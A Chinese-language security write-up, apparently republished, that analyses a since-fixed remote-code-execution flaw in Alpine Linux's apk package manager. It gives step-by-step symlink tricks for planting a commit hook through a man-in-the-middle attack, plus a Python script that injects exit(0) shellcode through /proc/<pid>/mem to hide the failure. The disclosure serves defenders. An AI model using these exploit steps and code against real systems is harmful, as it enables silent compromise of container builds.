Alpine Linux APK包管理器遠程代碼執行漏洞分析
概述
Alpine是一款面向安全應用的輕量級Linux發行版本,常作為Docker鏡像使用。在研究過程中,我們發現了Alpine Linux默認包管理器APK的一些漏洞。該漏洞允許網路中間人(或惡意包鏡像)在用戶的機器上實現任意代碼執行。這一漏洞的後果尤為嚴重,因為在使用默認倉庫(Repositories)的過程中,並不會通過TLS的方式提供包。目前,這一漏洞已經得到修復,並且Alpine的基礎鏡像已經更新。受漏洞影響的用戶需要及時對鏡像進行更新。
在獲得代碼執行漏洞利用後,我想出了一個很酷的方法,通過寫入/proc/
/mem,使原始apk進程退出,並返回狀態碼(Exit Code)0,且該方法不需要SYS_PTRACE功能。經過嘗試,結果證明安裝帶有apk的包的Dockerfile後,漏洞仍然能夠成功利用,並且能夠創建成功。
以下是我在Alpine環境下,通過中間人攻擊的方式,對Docker容器進行漏洞利用的過程視頻:
https://justi.cz/assets/apkpoc.mp4
漏洞詳情:任意文件創建導致遠程代碼執行
Alpine軟體包是以.apk文件的形式發布,實際上它只是用gzip壓縮的tar文件。當apk正在提取包時,它會在檢查哈希值之前就把這些文件提取出來。在提取壓縮包的時候,每個文件名和硬鏈接目標都以. apk-new為後綴名。隨後,當apk檢查到某個下載的包哈希值不正確時,會嘗試刪除對所有提取的文件和目錄的鏈接。
由於apk的「提交掛鉤」(Commit Hooks)特性,就很容易將已經存在的任意文件寫入漏洞變成代碼執行漏洞。如果我們能找到某種方法,將文件解壓縮到/etc/apk/commit_hooks.d/,並讓它在清理過程之後還能保留在原有位置,那麼,該文件就會在apk退出之前執行。
通過控制正在下載的tar文件,我們可以創建一個具有持久性的「提交掛鉤」,如下所示:
1、在/etc/apk/commit_hooks.d/創建一個文件夾,默認情況下該文件夾不存在。提取的文件夾不能以.apk-new為後綴。
2、創建一個符號鏈接,指向/etc/apk/commit_hooks.d/x,其中x可以是任何名稱,比如link。它在加上後綴後,文件名為link.apk-new,但仍然會指向/etc/apk/commit_hooks.d/x。
3、創建一個名稱link的常規文件(也將添加後綴,變為link.apk-new)。它將通過符號鏈接寫入,並在/etc/apk/commit_hooks.d/x處創建一個文件。
4、當apk發現包的散列與簽名索引不匹配時,它將首先取消鏈接link.apk-new。然而在此時,/etc/apk/commit_hooks.d/x將不會發生變化。原因在於,這個目錄中已經包含我們的Payload,所以取消/etc/apk/commit_hooks.d/的鏈接時將會失敗,出現ENOTEMPTY的錯誤。
修改狀態碼
現在,在apk退出之前,我們能夠在客戶端上運行任意代碼。需要解決的問題就是,如何找到一種方法能讓apk進程完美的退出。如果在Dockerfile創建的步驟使用apk,那麼apk將會返回非0的狀態碼(Exit Code),這一步驟也會失敗。
如果我們什麼都不做,那麼apk會返回一個等於它無法安裝的軟體包數量的狀態碼。目前為止,無法安裝的軟體包至少有一個。但有趣的是,這個值存在溢出漏洞,如果錯誤數量%256==0,那麼這個過程就會返回0,也就是我們想要的狀態碼返回值。目前,該漏洞已經修復,詳見:https://github.com/alpinelinux/apk-tools/commit/7b654e125461b00bc26e52b25e6a7be3a32c11b9 。
我首先嘗試使用gdb附加到進程,並且只調用exit(0)。但不幸的是,Docker容器默認沒有SYS_PTRACE功能,所以我們不能這樣做。但是,由於我們是root用戶,所以我們可以為apk進程讀取和寫入/proc/
/mem。
import subprocess
import re
pid = int(subprocess.check_output(["pidof", "apk"]))
print(" 33[92mapk pid is {} 33[0m".format(pid))
maps_file = open("/proc/{}/maps".format(pid), "r")
mem_file = open("/proc/{}/mem".format(pid), "w", 0)
print(" 33[92mEverything is fine! Please move along... 33[0m")
NOP = "90".decode("hex")
# xor rdi, rdi ; mov eax, 0x3c ; syscall
shellcode = "4831ffb83c0000000f05".decode("hex")
# based on https://unix.stackexchange.com/a/6302
for line in maps_file.readlines():
m = re.match(r"([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])", line)
start = int(m.group(1), 16)
end = int(m.group(2), 16)
if "apk" in line and "r-xp" in line:
mem_file.seek(start)
nops_len = end - start - len(shellcode)
mem_file.write(NOP * nops_len)
mem_file.write(shellcode)
maps_file.close()
mem_file.close()
因此,我們的方案如下:
1、使用pidof找到apk進程的pid;
2、使用/proc/
/maps查找進程的可執行內存;
3、編寫Shellcode,最終將exit(0)直接寫入內存。這一步能夠成功我覺得非常驚訝,我本來以為會寫入失敗。
當我們的提交掛鉤退出後,apk恢復執行,就會運行我們的Shellcode。
總結
如果你在生產環境中使用Alpine Linux,你應該首先重建鏡像,然後考慮向該項目組捐款表示支持(https://wiki.alpinelinux.org/wiki/Alpine_Linux:Developers)。原因在於,apk項目的一個主要開發人員只花費了不到一周時間就修復了這一漏洞(https://github.com/fabled),並且隨後不久,Alpine的維護團隊就發布了新的版本(https://github.com/ncopa)。考慮到目前可能有數百個組織在生產環境中使用了Alpine Linux,因此這些組織可能已經受到了該漏洞的威脅,我們建議儘快開展自查,並及時更新。
TAG:嘶吼RoarTalk |